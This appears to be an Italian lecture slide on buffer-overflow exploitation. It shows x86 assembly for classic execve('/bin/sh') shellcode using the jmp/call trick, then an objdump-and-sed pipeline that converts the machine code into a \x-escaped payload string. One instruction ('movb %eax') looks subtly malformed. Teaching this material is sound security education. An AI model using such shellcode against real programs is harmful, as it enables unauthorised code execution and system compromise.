Preparativi (bis)

.global main         [execv2.s]
main:
    jmp fine

inizio:
        pop    %esi
        movl   %esi, 0x8(%esi)
        xorl   %eax,%eax
        movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
fine:
        call inizio
        .string "/bin/sh"

$ objdump -d a.out | egrep -A 19 "^08048354 <" | cut -f 2 | egrep -v \< | egrep -v ^$ | xargs --max-args=16 echo | sed s/' '/"\\\x"/g | sed s/^/"\\\x"/ | sed s/^/'"'/ | sed s/$/'"'/